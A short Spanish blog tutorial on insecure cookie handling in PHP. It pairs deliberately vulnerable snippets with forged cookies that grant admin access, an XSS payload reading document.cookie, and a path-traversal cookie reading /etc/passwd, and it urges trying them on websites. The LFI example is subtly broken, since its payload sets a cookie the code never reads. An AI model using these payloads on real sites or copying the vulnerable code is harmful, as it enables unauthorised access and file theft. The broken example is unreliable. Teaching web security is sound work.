Aburrido, y tras un tiempo sin escribir nada, se me ocurrió escribir algo sobre Insecure Cookie Handling... Ahí va.
¿Qué es?
Es una mala filtración o mal uso de las cookies, donde se almacena información sensible que puede ser alterado con facilidad.
Nivel: Muy bajo.
Nivel: Muy bajo.
Potencia: Elevada
Ejemplo:
if(isset($_COOKIE["UID"]))
{
if($_COOKIE["UID"]=="Administrador")
{
echo "Bienvenido, administrador";
} else {
echo "Acceso restringido";
}
} else {
echo "Debes Logearte";
}
?>
Lo pruebo desde mi máquina, y como es lógico me dice que debo loggearme.
Así que pediremos ayuda a Live HTTP Headers, y con el editamos la cookie.
Debes loggearte: Cookie: usuario=yo-mismo
No autorizado: Cookie: usuario=yo-mismo;UID=Usuario
Acceso a admin: Cookie: usuario=yo-mismo;UID=Administrador
Es increible la cantidad de sitios web vulnerables a este ataque, de una u otra forma.
Explicación:
Cuando haya que realizar alguna comprobación sensible, cono en este caso, debe estar todo protegido (quizas un MD5&SALT lo solucionase rápido)... Esto provoca todo tipo de vulnerabilidades, ya que te deja una puerta abierta.
Según el uso, quizás podais lograr algún LFI, XSS, PHPi, SQLi, o más fallos que intentar provocar... Siempre suele caer algo, por pequeño que sea
Ejemplo #2 ~ XSS:
if(isset($_COOKIE["usuario"]))
{
echo "Hola, ".$_COOKIE["usuario"];
} else {
echo "Inicia sesión";
}
?>
Cookie: usuario=<script>alert(document.cookie);</script>
Ejemplo #3 ~ LFI:
if(isset($_COOKIE["file"])){include($_COOKIE["file"]);} else {include("Home.php");}?>
Cookie: usuario=../../../../../../../../../../../../../../etc/passwd
Este ya un tanto más ridículo xD
Despedida: Confío les haya sido de utilidad. Cualquier duda en este mismo tema.
Un saludo!
No hay comentarios:
Publicar un comentario